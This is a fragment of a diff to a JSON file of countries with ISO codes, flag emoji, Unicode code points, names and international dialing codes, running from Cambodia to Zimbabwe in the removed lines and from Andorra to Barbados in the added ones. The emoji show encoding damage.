- "name": "Cambodia",
- "title": "flag for Cambodia",
- "dialCode": "+855"
- },
- {
- "code": "KI",
- "emoji": "๐ฐ๐ฎ",
- "unicode": "U+1F1F0 U+1F1EE",
- "name": "Kiribati",
- "title": "flag for Kiribati",
- "dialCode": "+686"
- },
- {
- "code": "KM",
- "emoji": "๐ฐ๐ฒ",
- "unicode": "U+1F1F0 U+1F1F2",
- "name": "Comoros",
- "title": "flag for Comoros",
- "dialCode": "+269"
- },
- {
- "code": "KN",
- "emoji": "๐ฐ๐ณ",
- "unicode": "U+1F1F0 U+1F1F3",
- "name": "Saint Kitts and Nevis",
- "title": "flag for Saint Kitts and Nevis",
- "dialCode": "+1 869"
- },
- {
- "code": "KP",
- "emoji": "๐ฐ๐ต",
- "unicode": "U+1F1F0 U+1F1F5",
- "name": "North Korea",
- "title": "flag for North Korea",
- "dialCode": "+850"
- },
- {
- "code": "KR",
- "emoji": "๐ฐ๐ท",
- "unicode": "U+1F1F0 U+1F1F7",
- "name": "South Korea",
- "title": "flag for South Korea",
- "dialCode": "+82"
- },
- {
- "code": "KW",
- "emoji": "๐ฐ๐ผ",
- "unicode": "U+1F1F0 U+1F1FC",
- "name": "Kuwait",
- "title": "flag for Kuwait",
- "dialCode": "+965"
- },
- {
- "code": "KY",
- "emoji": "๐ฐ๐พ",
- "unicode": "U+1F1F0 U+1F1FE",
- "name": "Cayman Islands",
- "title": "flag for Cayman Islands",
- "dialCode": "+ 345"
- },
- {
- "code": "KZ",
- "emoji": "๐ฐ๐ฟ",
- "unicode": "U+1F1F0 U+1F1FF",
- "name": "Kazakhstan",
- "title": "flag for Kazakhstan",
- "dialCode": "+7 7"
- },
- {
- "code": "LA",
- "emoji": "๐ฑ๐ฆ",
- "unicode": "U+1F1F1 U+1F1E6",
- "name": "Lao People's Democratic Republic",
- "title": "flag for Lao People's Democratic Republic",
- "dialCode": "+856"
- },
- {
- "code": "LB",
- "emoji": "๐ฑ๐ง",
- "unicode": "U+1F1F1 U+1F1E7",
- "name": "Lebanon",
- "title": "flag for Lebanon",
- "dialCode": "+961"
- },
- {
- "code": "LC",
- "emoji": "๐ฑ๐จ",
- "unicode": "U+1F1F1 U+1F1E8",
- "name": "Saint Lucia",
- "title": "flag for Saint Lucia",
- "dialCode": "+1 758"
- },
- {
- "code": "LI",
- "emoji": "๐ฑ๐ฎ",
- "unicode": "U+1F1F1 U+1F1EE",
- "name": "Liechtenstein",
- "title": "flag for Liechtenstein",
- "dialCode": "+423"
- },
- {
- "code": "LK",
- "emoji": "๐ฑ๐ฐ",
- "unicode": "U+1F1F1 U+1F1F0",
- "name": "Sri Lanka",
- "title": "flag for Sri Lanka",
- "dialCode": "+94"
- },
- {
- "code": "LR",
- "emoji": "๐ฑ๐ท",
- "unicode": "U+1F1F1 U+1F1F7",
- "name": "Liberia",
- "title": "flag for Liberia",
- "dialCode": "+231"
- },
- {
- "code": "LS",
- "emoji": "๐ฑ๐ธ",
- "unicode": "U+1F1F1 U+1F1F8",
- "name": "Lesotho",
- "title": "flag for Lesotho",
- "dialCode": "+266"
- },
- {
- "code": "LT",
- "emoji": "๐ฑ๐น",
- "unicode": "U+1F1F1 U+1F1F9",
- "name": "Lithuania",
- "title": "flag for Lithuania",
- "dialCode": "+370"
- },
- {
- "code": "LU",
- "emoji": "๐ฑ๐บ",
- "unicode": "U+1F1F1 U+1F1FA",
- "name": "Luxembourg",
- "title": "flag for Luxembourg",
- "dialCode": "+352"
- },
- {
- "code": "LV",
- "emoji": "๐ฑ๐ป",
- "unicode": "U+1F1F1 U+1F1FB",
- "name": "Latvia",
- "title": "flag for Latvia",
- "dialCode": "+371"
- },
- {
- "code": "LY",
- "emoji": "๐ฑ๐พ",
- "unicode": "U+1F1F1 U+1F1FE",
- "name": "Libya",
- "title": "flag for Libya",
- "dialCode": "+218"
- },
- {
- "code": "MA",
- "emoji": "๐ฒ๐ฆ",
- "unicode": "U+1F1F2 U+1F1E6",
- "name": "Morocco",
- "title": "flag for Morocco",
- "dialCode": "+212"
- },
- {
- "code": "MC",
- "emoji": "๐ฒ๐จ",
- "unicode": "U+1F1F2 U+1F1E8",
- "name": "Monaco",
- "title": "flag for Monaco",
- "dialCode": "+377"
- },
- {
- "code": "MD",
- "emoji": "๐ฒ๐ฉ",
- "unicode": "U+1F1F2 U+1F1E9",
- "name": "Moldova",
- "title": "flag for Moldova",
- "dialCode": "+373"
- },
- {
- "code": "ME",
- "emoji": "๐ฒ๐ช",
- "unicode": "U+1F1F2 U+1F1EA",
- "name": "Montenegro",
- "title": "flag for Montenegro",
- "dialCode": "+382"
- },
- {
- "code": "MF",
- "emoji": "๐ฒ๐ซ",
- "unicode": "U+1F1F2 U+1F1EB",
- "name": "Saint Martin (French Part)",
- "title": "flag for Saint Martin (French Part)",
- "dialCode": "+590"
- },
- {
- "code": "MG",
- "emoji": "๐ฒ๐ฌ",
- "unicode": "U+1F1F2 U+1F1EC",
- "name": "Madagascar",
- "title": "flag for Madagascar",
- "dialCode": "+261"
- },
- {
- "code": "MH",
- "emoji": "๐ฒ๐ญ",
- "unicode": "U+1F1F2 U+1F1ED",
- "name": "Marshall Islands",
- "title": "flag for Marshall Islands",
- "dialCode": "+692"
- },
- {
- "code": "MK",
- "emoji": "๐ฒ๐ฐ",
- "unicode": "U+1F1F2 U+1F1F0",
- "name": "Macedonia",
- "title": "flag for Macedonia",
- "dialCode": "+389"
- },
- {
- "code": "ML",
- "emoji": "๐ฒ๐ฑ",
- "unicode": "U+1F1F2 U+1F1F1",
- "name": "Mali",
- "title": "flag for Mali",
- "dialCode": "+223"
- },
- {
- "code": "MM",
- "emoji": "๐ฒ๐ฒ",
- "unicode": "U+1F1F2 U+1F1F2",
- "name": "Myanmar",
- "title": "flag for Myanmar",
- "dialCode": "+95"
- },
- {
- "code": "MN",
- "emoji": "๐ฒ๐ณ",
- "unicode": "U+1F1F2 U+1F1F3",
- "name": "Mongolia",
- "title": "flag for Mongolia",
- "dialCode": "+976"
- },
- {
- "code": "MO",
- "emoji": "๐ฒ๐ด",
- "unicode": "U+1F1F2 U+1F1F4",
- "name": "Macao",
- "title": "flag for Macao",
- "dialCode": "+853"
- },
- {
- "code": "MP",
- "emoji": "๐ฒ๐ต",
- "unicode": "U+1F1F2 U+1F1F5",
- "name": "Northern Mariana Islands",
- "title": "flag for Northern Mariana Islands",
- "dialCode": "+1 670"
- },
- {
- "code": "MQ",
- "emoji": "๐ฒ๐ถ",
- "unicode": "U+1F1F2 U+1F1F6",
- "name": "Martinique",
- "title": "flag for Martinique",
- "dialCode": "+596"
- },
- {
- "code": "MR",
- "emoji": "๐ฒ๐ท",
- "unicode": "U+1F1F2 U+1F1F7",
- "name": "Mauritania",
- "title": "flag for Mauritania",
- "dialCode": "+222"
- },
- {
- "code": "MS",
- "emoji": "๐ฒ๐ธ",
- "unicode": "U+1F1F2 U+1F1F8",
- "name": "Montserrat",
- "title": "flag for Montserrat",
- "dialCode": "+1664"
- },
- {
- "code": "MT",
- "emoji": "๐ฒ๐น",
- "unicode": "U+1F1F2 U+1F1F9",
- "name": "Malta",
- "title": "flag for Malta",
- "dialCode": "+356"
- },
- {
- "code": "MU",
- "emoji": "๐ฒ๐บ",
- "unicode": "U+1F1F2 U+1F1FA",
- "name": "Mauritius",
- "title": "flag for Mauritius",
- "dialCode": "+230"
- },
- {
- "code": "MV",
- "emoji": "๐ฒ๐ป",
- "unicode": "U+1F1F2 U+1F1FB",
- "name": "Maldives",
- "title": "flag for Maldives",
- "dialCode": "+960"
- },
- {
- "code": "MW",
- "emoji": "๐ฒ๐ผ",
- "unicode": "U+1F1F2 U+1F1FC",
- "name": "Malawi",
- "title": "flag for Malawi",
- "dialCode": "+265"
- },
- {
- "code": "MX",
- "emoji": "๐ฒ๐ฝ",
- "unicode": "U+1F1F2 U+1F1FD",
- "name": "Mexico",
- "title": "flag for Mexico",
- "dialCode": "+52"
- },
- {
- "code": "MY",
- "emoji": "๐ฒ๐พ",
- "unicode": "U+1F1F2 U+1F1FE",
- "name": "Malaysia",
- "title": "flag for Malaysia",
- "dialCode": "+60"
- },
- {
- "code": "MZ",
- "emoji": "๐ฒ๐ฟ",
- "unicode": "U+1F1F2 U+1F1FF",
- "name": "Mozambique",
- "title": "flag for Mozambique",
- "dialCode": "+258"
- },
- {
- "code": "NA",
- "emoji": "๐ณ๐ฆ",
- "unicode": "U+1F1F3 U+1F1E6",
- "name": "Namibia",
- "title": "flag for Namibia",
- "dialCode": "+264"
- },
- {
- "code": "NC",
- "emoji": "๐ณ๐จ",
- "unicode": "U+1F1F3 U+1F1E8",
- "name": "New Caledonia",
- "title": "flag for New Caledonia",
- "dialCode": "+687"
- },
- {
- "code": "NE",
- "emoji": "๐ณ๐ช",
- "unicode": "U+1F1F3 U+1F1EA",
- "name": "Niger",
- "title": "flag for Niger",
- "dialCode": "+227"
- },
- {
- "code": "NF",
- "emoji": "๐ณ๐ซ",
- "unicode": "U+1F1F3 U+1F1EB",
- "name": "Norfolk Island",
- "title": "flag for Norfolk Island",
- "dialCode": "+672"
- },
- {
- "code": "NG",
- "emoji": "๐ณ๐ฌ",
- "unicode": "U+1F1F3 U+1F1EC",
- "name": "Nigeria",
- "title": "flag for Nigeria",
- "dialCode": "+234"
- },
- {
- "code": "NI",
- "emoji": "๐ณ๐ฎ",
- "unicode": "U+1F1F3 U+1F1EE",
- "name": "Nicaragua",
- "title": "flag for Nicaragua",
- "dialCode": "+505"
- },
- {
- "code": "NL",
- "emoji": "๐ณ๐ฑ",
- "unicode": "U+1F1F3 U+1F1F1",
- "name": "Netherlands",
- "title": "flag for Netherlands",
- "dialCode": "+31"
- },
- {
- "code": "NO",
- "emoji": "๐ณ๐ด",
- "unicode": "U+1F1F3 U+1F1F4",
- "name": "Norway",
- "title": "flag for Norway",
- "dialCode": "+47"
- },
- {
- "code": "NP",
- "emoji": "๐ณ๐ต",
- "unicode": "U+1F1F3 U+1F1F5",
- "name": "Nepal",
- "title": "flag for Nepal",
- "dialCode": "+977"
- },
- {
- "code": "NR",
- "emoji": "๐ณ๐ท",
- "unicode": "U+1F1F3 U+1F1F7",
- "name": "Nauru",
- "title": "flag for Nauru",
- "dialCode": "+674"
- },
- {
- "code": "NU",
- "emoji": "๐ณ๐บ",
- "unicode": "U+1F1F3 U+1F1FA",
- "name": "Niue",
- "title": "flag for Niue",
- "dialCode": "+683"
- },
- {
- "code": "NZ",
- "emoji": "๐ณ๐ฟ",
- "unicode": "U+1F1F3 U+1F1FF",
- "name": "New Zealand",
- "title": "flag for New Zealand",
- "dialCode": "+64"
- },
- {
- "code": "OM",
- "emoji": "๐ด๐ฒ",
- "unicode": "U+1F1F4 U+1F1F2",
- "name": "Oman",
- "title": "flag for Oman",
- "dialCode": "+968"
- },
- {
- "code": "PA",
- "emoji": "๐ต๐ฆ",
- "unicode": "U+1F1F5 U+1F1E6",
- "name": "Panama",
- "title": "flag for Panama",
- "dialCode": "+507"
- },
- {
- "code": "PE",
- "emoji": "๐ต๐ช",
- "unicode": "U+1F1F5 U+1F1EA",
- "name": "Peru",
- "title": "flag for Peru",
- "dialCode": "+51"
- },
- {
- "code": "PF",
- "emoji": "๐ต๐ซ",
- "unicode": "U+1F1F5 U+1F1EB",
- "name": "French Polynesia",
- "title": "flag for French Polynesia",
- "dialCode": "+689"
- },
- {
- "code": "PG",
- "emoji": "๐ต๐ฌ",
- "unicode": "U+1F1F5 U+1F1EC",
- "name": "Papua New Guinea",
- "title": "flag for Papua New Guinea",
- "dialCode": "+675"
- },
- {
- "code": "PH",
- "emoji": "๐ต๐ญ",
- "unicode": "U+1F1F5 U+1F1ED",
- "name": "Philippines",
- "title": "flag for Philippines",
- "dialCode": "+63"
- },
- {
- "code": "PK",
- "emoji": "๐ต๐ฐ",
- "unicode": "U+1F1F5 U+1F1F0",
- "name": "Pakistan",
- "title": "flag for Pakistan",
- "dialCode": "+92"
- },
- {
- "code": "PL",
- "emoji": "๐ต๐ฑ",
- "unicode": "U+1F1F5 U+1F1F1",
- "name": "Poland",
- "title": "flag for Poland",
- "dialCode": "+48"
- },
- {
- "code": "PM",
- "emoji": "๐ต๐ฒ",
- "unicode": "U+1F1F5 U+1F1F2",
- "name": "Saint Pierre and Miquelon",
- "title": "flag for Saint Pierre and Miquelon",
- "dialCode": "+508"
- },
- {
- "code": "PN",
- "emoji": "๐ต๐ณ",
- "unicode": "U+1F1F5 U+1F1F3",
- "name": "Pitcairn",
- "title": "flag for Pitcairn",
- "dialCode": "+872"
- },
- {
- "code": "PR",
- "emoji": "๐ต๐ท",
- "unicode": "U+1F1F5 U+1F1F7",
- "name": "Puerto Rico",
- "title": "flag for Puerto Rico",
- "dialCode": "+1 939"
- },
- {
- "code": "PS",
- "emoji": "๐ต๐ธ",
- "unicode": "U+1F1F5 U+1F1F8",
- "name": "Palestinian Territory",
- "title": "flag for Palestinian Territory",
- "dialCode": "+970"
- },
- {
- "code": "PT",
- "emoji": "๐ต๐น",
- "unicode": "U+1F1F5 U+1F1F9",
- "name": "Portugal",
- "title": "flag for Portugal",
- "dialCode": "+351"
- },
- {
- "code": "PW",
- "emoji": "๐ต๐ผ",
- "unicode": "U+1F1F5 U+1F1FC",
- "name": "Palau",
- "title": "flag for Palau",
- "dialCode": "+680"
- },
- {
- "code": "PY",
- "emoji": "๐ต๐พ",
- "unicode": "U+1F1F5 U+1F1FE",
- "name": "Paraguay",
- "title": "flag for Paraguay",
- "dialCode": "+595"
- },
- {
- "code": "QA",
- "emoji": "๐ถ๐ฆ",
- "unicode": "U+1F1F6 U+1F1E6",
- "name": "Qatar",
- "title": "flag for Qatar",
- "dialCode": "+974"
- },
- {
- "code": "RE",
- "emoji": "๐ท๐ช",
- "unicode": "U+1F1F7 U+1F1EA",
- "name": "Rรฉunion",
- "title": "flag for Rรฉunion",
- "dialCode": "+262"
- },
- {
- "code": "RO",
- "emoji": "๐ท๐ด",
- "unicode": "U+1F1F7 U+1F1F4",
- "name": "Romania",
- "title": "flag for Romania",
- "dialCode": "+40"
- },
- {
- "code": "RS",
- "emoji": "๐ท๐ธ",
- "unicode": "U+1F1F7 U+1F1F8",
- "name": "Serbia",
- "title": "flag for Serbia",
- "dialCode": "+381"
- },
- {
- "code": "RU",
- "emoji": "๐ท๐บ",
- "unicode": "U+1F1F7 U+1F1FA",
- "name": "Russia",
- "title": "flag for Russia",
- "dialCode": "+7"
- },
- {
- "code": "RW",
- "emoji": "๐ท๐ผ",
- "unicode": "U+1F1F7 U+1F1FC",
- "name": "Rwanda",
- "title": "flag for Rwanda",
- "dialCode": "+250"
- },
- {
- "code": "SA",
- "emoji": "๐ธ๐ฆ",
- "unicode": "U+1F1F8 U+1F1E6",
- "name": "Saudi Arabia",
- "title": "flag for Saudi Arabia",
- "dialCode": "+966"
- },
- {
- "code": "SB",
- "emoji": "๐ธ๐ง",
- "unicode": "U+1F1F8 U+1F1E7",
- "name": "Solomon Islands",
- "title": "flag for Solomon Islands",
- "dialCode": "+677"
- },
- {
- "code": "SC",
- "emoji": "๐ธ๐จ",
- "unicode": "U+1F1F8 U+1F1E8",
- "name": "Seychelles",
- "title": "flag for Seychelles",
- "dialCode": "+248"
- },
- {
- "code": "SD",
- "emoji": "๐ธ๐ฉ",
- "unicode": "U+1F1F8 U+1F1E9",
- "name": "Sudan",
- "title": "flag for Sudan",
- "dialCode": "+249"
- },
- {
- "code": "SE",
- "emoji": "๐ธ๐ช",
- "unicode": "U+1F1F8 U+1F1EA",
- "name": "Sweden",
- "title": "flag for Sweden",
- "dialCode": "+46"
- },
- {
- "code": "SG",
- "emoji": "๐ธ๐ฌ",
- "unicode": "U+1F1F8 U+1F1EC",
- "name": "Singapore",
- "title": "flag for Singapore",
- "dialCode": "+65"
- },
- {
- "code": "SH",
- "emoji": "๐ธ๐ญ",
- "unicode": "U+1F1F8 U+1F1ED",
- "name": "Saint Helena, Ascension and Tristan Da Cunha",
- "title": "flag for Saint Helena, Ascension and Tristan Da Cunha",
- "dialCode": "+290"
- },
- {
- "code": "SI",
- "emoji": "๐ธ๐ฎ",
- "unicode": "U+1F1F8 U+1F1EE",
- "name": "Slovenia",
- "title": "flag for Slovenia",
- "dialCode": "+386"
- },
- {
- "code": "SJ",
- "emoji": "๐ธ๐ฏ",
- "unicode": "U+1F1F8 U+1F1EF",
- "name": "Svalbard and Jan Mayen",
- "title": "flag for Svalbard and Jan Mayen",
- "dialCode": "+47"
- },
- {
- "code": "SK",
- "emoji": "๐ธ๐ฐ",
- "unicode": "U+1F1F8 U+1F1F0",
- "name": "Slovakia",
- "title": "flag for Slovakia",
- "dialCode": "+421"
- },
- {
- "code": "SL",
- "emoji": "๐ธ๐ฑ",
- "unicode": "U+1F1F8 U+1F1F1",
- "name": "Sierra Leone",
- "title": "flag for Sierra Leone",
- "dialCode": "+232"
- },
- {
- "code": "SM",
- "emoji": "๐ธ๐ฒ",
- "unicode": "U+1F1F8 U+1F1F2",
- "name": "San Marino",
- "title": "flag for San Marino",
- "dialCode": "+378"
- },
- {
- "code": "SN",
- "emoji": "๐ธ๐ณ",
- "unicode": "U+1F1F8 U+1F1F3",
- "name": "Senegal",
- "title": "flag for Senegal",
- "dialCode": "+221"
- },
- {
- "code": "SO",
- "emoji": "๐ธ๐ด",
- "unicode": "U+1F1F8 U+1F1F4",
- "name": "Somalia",
- "title": "flag for Somalia",
- "dialCode": "+252"
- },
- {
- "code": "SR",
- "emoji": "๐ธ๐ท",
- "unicode": "U+1F1F8 U+1F1F7",
- "name": "Suriname",
- "title": "flag for Suriname",
- "dialCode": "+597"
- },
- {
- "code": "SS",
- "emoji": "๐ธ๐ธ",
- "unicode": "U+1F1F8 U+1F1F8",
- "name": "South Sudan",
- "title": "flag for South Sudan"
- },
- {
- "code": "ST",
- "emoji": "๐ธ๐น",
- "unicode": "U+1F1F8 U+1F1F9",
- "name": "Sao Tome and Principe",
- "title": "flag for Sao Tome and Principe",
- "dialCode": "+239"
- },
- {
- "code": "SV",
- "emoji": "๐ธ๐ป",
- "unicode": "U+1F1F8 U+1F1FB",
- "name": "El Salvador",
- "title": "flag for El Salvador",
- "dialCode": "+503"
- },
- {
- "code": "SX",
- "emoji": "๐ธ๐ฝ",
- "unicode": "U+1F1F8 U+1F1FD",
- "name": "Sint Maarten (Dutch Part)",
- "title": "flag for Sint Maarten (Dutch Part)"
- },
- {
- "code": "SY",
- "emoji": "๐ธ๐พ",
- "unicode": "U+1F1F8 U+1F1FE",
- "name": "Syrian Arab Republic",
- "title": "flag for Syrian Arab Republic",
- "dialCode": "+963"
- },
- {
- "code": "SZ",
- "emoji": "๐ธ๐ฟ",
- "unicode": "U+1F1F8 U+1F1FF",
- "name": "Swaziland",
- "title": "flag for Swaziland",
- "dialCode": "+268"
- },
- {
- "code": "TC",
- "emoji": "๐น๐จ",
- "unicode": "U+1F1F9 U+1F1E8",
- "name": "Turks and Caicos Islands",
- "title": "flag for Turks and Caicos Islands",
- "dialCode": "+1 649"
- },
- {
- "code": "TD",
- "emoji": "๐น๐ฉ",
- "unicode": "U+1F1F9 U+1F1E9",
- "name": "Chad",
- "title": "flag for Chad",
- "dialCode": "+235"
- },
- {
- "code": "TF",
- "emoji": "๐น๐ซ",
- "unicode": "U+1F1F9 U+1F1EB",
- "name": "French Southern Territories",
- "title": "flag for French Southern Territories"
- },
- {
- "code": "TG",
- "emoji": "๐น๐ฌ",
- "unicode": "U+1F1F9 U+1F1EC",
- "name": "Togo",
- "title": "flag for Togo",
- "dialCode": "+228"
- },
- {
- "code": "TH",
- "emoji": "๐น๐ญ",
- "unicode": "U+1F1F9 U+1F1ED",
- "name": "Thailand",
- "title": "flag for Thailand",
- "dialCode": "+66"
- },
- {
- "code": "TJ",
- "emoji": "๐น๐ฏ",
- "unicode": "U+1F1F9 U+1F1EF",
- "name": "Tajikistan",
- "title": "flag for Tajikistan",
- "dialCode": "+992"
- },
- {
- "code": "TK",
- "emoji": "๐น๐ฐ",
- "unicode": "U+1F1F9 U+1F1F0",
- "name": "Tokelau",
- "title": "flag for Tokelau",
- "dialCode": "+690"
- },
- {
- "code": "TL",
- "emoji": "๐น๐ฑ",
- "unicode": "U+1F1F9 U+1F1F1",
- "name": "Timor-Leste",
- "title": "flag for Timor-Leste",
- "dialCode": "+670"
- },
- {
- "code": "TM",
- "emoji": "๐น๐ฒ",
- "unicode": "U+1F1F9 U+1F1F2",
- "name": "Turkmenistan",
- "title": "flag for Turkmenistan",
- "dialCode": "+993"
- },
- {
- "code": "TN",
- "emoji": "๐น๐ณ",
- "unicode": "U+1F1F9 U+1F1F3",
- "name": "Tunisia",
- "title": "flag for Tunisia",
- "dialCode": "+216"
- },
- {
- "code": "TO",
- "emoji": "๐น๐ด",
- "unicode": "U+1F1F9 U+1F1F4",
- "name": "Tonga",
- "title": "flag for Tonga",
- "dialCode": "+676"
- },
- {
- "code": "TR",
- "emoji": "๐น๐ท",
- "unicode": "U+1F1F9 U+1F1F7",
- "name": "Turkey",
- "title": "flag for Turkey",
- "dialCode": "+90"
- },
- {
- "code": "TT",
- "emoji": "๐น๐น",
- "unicode": "U+1F1F9 U+1F1F9",
- "name": "Trinidad and Tobago",
- "title": "flag for Trinidad and Tobago",
- "dialCode": "+1 868"
- },
- {
- "code": "TV",
- "emoji": "๐น๐ป",
- "unicode": "U+1F1F9 U+1F1FB",
- "name": "Tuvalu",
- "title": "flag for Tuvalu",
- "dialCode": "+688"
- },
- {
- "code": "TW",
- "emoji": "๐น๐ผ",
- "unicode": "U+1F1F9 U+1F1FC",
- "name": "Taiwan",
- "title": "flag for Taiwan",
- "dialCode": "+886"
- },
- {
- "code": "TZ",
- "emoji": "๐น๐ฟ",
- "unicode": "U+1F1F9 U+1F1FF",
- "name": "Tanzania",
- "title": "flag for Tanzania",
- "dialCode": "+255"
- },
- {
- "code": "UA",
- "emoji": "๐บ๐ฆ",
- "unicode": "U+1F1FA U+1F1E6",
- "name": "Ukraine",
- "title": "flag for Ukraine",
- "dialCode": "+380"
- },
- {
- "code": "UG",
- "emoji": "๐บ๐ฌ",
- "unicode": "U+1F1FA U+1F1EC",
- "name": "Uganda",
- "title": "flag for Uganda",
- "dialCode": "+256"
- },
- {
- "code": "UM",
- "emoji": "๐บ๐ฒ",
- "unicode": "U+1F1FA U+1F1F2",
- "name": "United States Minor Outlying Islands",
- "title": "flag for United States Minor Outlying Islands"
- },
- {
- "code": "US",
- "emoji": "๐บ๐ธ",
- "unicode": "U+1F1FA U+1F1F8",
- "name": "United States",
- "title": "flag for United States",
- "dialCode": "+1"
- },
- {
- "code": "UY",
- "emoji": "๐บ๐พ",
- "unicode": "U+1F1FA U+1F1FE",
- "name": "Uruguay",
- "title": "flag for Uruguay",
- "dialCode": "+598"
- },
- {
- "code": "UZ",
- "emoji": "๐บ๐ฟ",
- "unicode": "U+1F1FA U+1F1FF",
- "name": "Uzbekistan",
- "title": "flag for Uzbekistan",
- "dialCode": "+998"
- },
- {
- "code": "VA",
- "emoji": "๐ป๐ฆ",
- "unicode": "U+1F1FB U+1F1E6",
- "name": "Vatican City",
- "title": "flag for Vatican City",
- "dialCode": "+379"
- },
- {
- "code": "VC",
- "emoji": "๐ป๐จ",
- "unicode": "U+1F1FB U+1F1E8",
- "name": "Saint Vincent and The Grenadines",
- "title": "flag for Saint Vincent and The Grenadines",
- "dialCode": "+1 784"
- },
- {
- "code": "VE",
- "emoji": "๐ป๐ช",
- "unicode": "U+1F1FB U+1F1EA",
- "name": "Venezuela",
- "title": "flag for Venezuela",
- "dialCode": "+58"
- },
- {
- "code": "VG",
- "emoji": "๐ป๐ฌ",
- "unicode": "U+1F1FB U+1F1EC",
- "name": "Virgin Islands, British",
- "title": "flag for Virgin Islands, British",
- "dialCode": "+1 284"
- },
- {
- "code": "VI",
- "emoji": "๐ป๐ฎ",
- "unicode": "U+1F1FB U+1F1EE",
- "name": "Virgin Islands, U.S.",
- "title": "flag for Virgin Islands, U.S.",
- "dialCode": "+1 340"
- },
- {
- "code": "VN",
- "emoji": "๐ป๐ณ",
- "unicode": "U+1F1FB U+1F1F3",
- "name": "Viet Nam",
- "title": "flag for Viet Nam",
- "dialCode": "+84"
- },
- {
- "code": "VU",
- "emoji": "๐ป๐บ",
- "unicode": "U+1F1FB U+1F1FA",
- "name": "Vanuatu",
- "title": "flag for Vanuatu",
- "dialCode": "+678"
- },
- {
- "code": "WF",
- "emoji": "๐ผ๐ซ",
- "unicode": "U+1F1FC U+1F1EB",
- "name": "Wallis and Futuna",
- "title": "flag for Wallis and Futuna",
- "dialCode": "+681"
- },
- {
- "code": "WS",
- "emoji": "๐ผ๐ธ",
- "unicode": "U+1F1FC U+1F1F8",
- "name": "Samoa",
- "title": "flag for Samoa",
- "dialCode": "+685"
- },
- {
- "code": "XK",
- "emoji": "๐ฝ๐ฐ",
- "unicode": "U+1F1FD U+1F1F0",
- "name": "Kosovo",
- "title": "flag for Kosovo",
- "dialCode": "+383"
- },
- {
- "code": "YE",
- "emoji": "๐พ๐ช",
- "unicode": "U+1F1FE U+1F1EA",
- "name": "Yemen",
- "title": "flag for Yemen",
- "dialCode": "+967"
- },
- {
- "code": "YT",
- "emoji": "๐พ๐น",
- "unicode": "U+1F1FE U+1F1F9",
- "name": "Mayotte",
- "title": "flag for Mayotte",
- "dialCode": "+262"
- },
- {
- "code": "ZA",
- "emoji": "๐ฟ๐ฆ",
- "unicode": "U+1F1FF U+1F1E6",
- "name": "South Africa",
- "title": "flag for South Africa",
- "dialCode": "+27"
- },
- {
- "code": "ZM",
- "emoji": "๐ฟ๐ฒ",
- "unicode": "U+1F1FF U+1F1F2",
- "name": "Zambia",
- "title": "flag for Zambia",
- "dialCode": "+260"
- },
- {
- "code": "ZW",
- "emoji": "๐ฟ๐ผ",
- "unicode": "U+1F1FF U+1F1FC",
- "name": "Zimbabwe",
- "title": "flag for Zimbabwe",
- "dialCode": "+263"
- }
+[
+ {
+ "code": "AD",
+ "emoji": "๐ฆ๐ฉ",
+ "unicode": "U+1F1E6 U+1F1E9",
+ "name": "Andorra",
+ "title": "flag for Andorra",
+ "dialCode": "+376"
+ },
+ {
+ "code": "AE",
+ "emoji": "๐ฆ๐ช",
+ "unicode": "U+1F1E6 U+1F1EA",
+ "name": "United Arab Emirates",
+ "title": "flag for United Arab Emirates",
+ "dialCode": "+971"
+ },
+ {
+ "code": "AF",
+ "emoji": "๐ฆ๐ซ",
+ "unicode": "U+1F1E6 U+1F1EB",
+ "name": "Afghanistan",
+ "title": "flag for Afghanistan",
+ "dialCode": "+93"
+ },
+ {
+ "code": "AG",
+ "emoji": "๐ฆ๐ฌ",
+ "unicode": "U+1F1E6 U+1F1EC",
+ "name": "Antigua and Barbuda",
+ "title": "flag for Antigua and Barbuda",
+ "dialCode": "+1268"
+ },
+ {
+ "code": "AI",
+ "emoji": "๐ฆ๐ฎ",
+ "unicode": "U+1F1E6 U+1F1EE",
+ "name": "Anguilla",
+ "title": "flag for Anguilla",
+ "dialCode": "+1 264"
+ },
+ {
+ "code": "AL",
+ "emoji": "๐ฆ๐ฑ",
+ "unicode": "U+1F1E6 U+1F1F1",
+ "name": "Albania",
+ "title": "flag for Albania",
+ "dialCode": "+355"
+ },
+ {
+ "code": "AM",
+ "emoji": "๐ฆ๐ฒ",
+ "unicode": "U+1F1E6 U+1F1F2",
+ "name": "Armenia",
+ "title": "flag for Armenia",
+ "dialCode": "+374"
+ },
+ {
+ "code": "AO",
+ "emoji": "๐ฆ๐ด",
+ "unicode": "U+1F1E6 U+1F1F4",
+ "name": "Angola",
+ "title": "flag for Angola",
+ "dialCode": "+244"
+ },
+ {
+ "code": "AQ",
+ "emoji": "๐ฆ๐ถ",
+ "unicode": "U+1F1E6 U+1F1F6",
+ "name": "Antarctica",
+ "title": "flag for Antarctica",
+ "dialCode": null
+ },
+ {
+ "code": "AR",
+ "emoji": "๐ฆ๐ท",
+ "unicode": "U+1F1E6 U+1F1F7",
+ "name": "Argentina",
+ "title": "flag for Argentina",
+ "dialCode": "+54"
+ },
+ {
+ "code": "AS",
+ "emoji": "๐ฆ๐ธ",
+ "unicode": "U+1F1E6 U+1F1F8",
+ "name": "American Samoa",
+ "title": "flag for American Samoa",
+ "dialCode": "+1 684"
+ },
+ {
+ "code": "AT",
+ "emoji": "๐ฆ๐น",
+ "unicode": "U+1F1E6 U+1F1F9",
+ "name": "Austria",
+ "title": "flag for Austria",
+ "dialCode": "+43"
+ },
+ {
+ "code": "AU",
+ "emoji": "๐ฆ๐บ",
+ "unicode": "U+1F1E6 U+1F1FA",
+ "name": "Australia",
+ "title": "flag for Australia",
+ "dialCode": "+61"
+ },
+ {
+ "code": "AW",
+ "emoji": "๐ฆ๐ผ",
+ "unicode": "U+1F1E6 U+1F1FC",
+ "name": "Aruba",
+ "title": "flag for Aruba",
+ "dialCode": "+297"
+ },
+ {
+ "code": "AX",
+ "emoji": "๐ฆ๐ฝ",
+ "unicode": "U+1F1E6 U+1F1FD",
+ "name": "ร
land Islands",
+ "title": "flag for ร
land Islands",
+ "dialCode": ""
+ },
+ {
+ "code": "AZ",
+ "emoji": "๐ฆ๐ฟ",
+ "unicode": "U+1F1E6 U+1F1FF",
+ "name": "Azerbaijan",
+ "title": "flag for Azerbaijan",
+ "dialCode": "+994"
+ },
+ {
+ "code": "BA",
+ "emoji": "๐ง๐ฆ",
+ "unicode": "U+1F1E7 U+1F1E6",
+ "name": "Bosnia and Herzegovina",
+ "title": "flag for Bosnia and Herzegovina",
+ "dialCode": "+387"
+ },
+ {
+ "code": "BB",
+ "emoji": "๐ง๐ง",
+ "unicode": "U+1F1E7 U+1F1E7",
+ "name": "Barbados",
+ "title": "flag for Barbados",
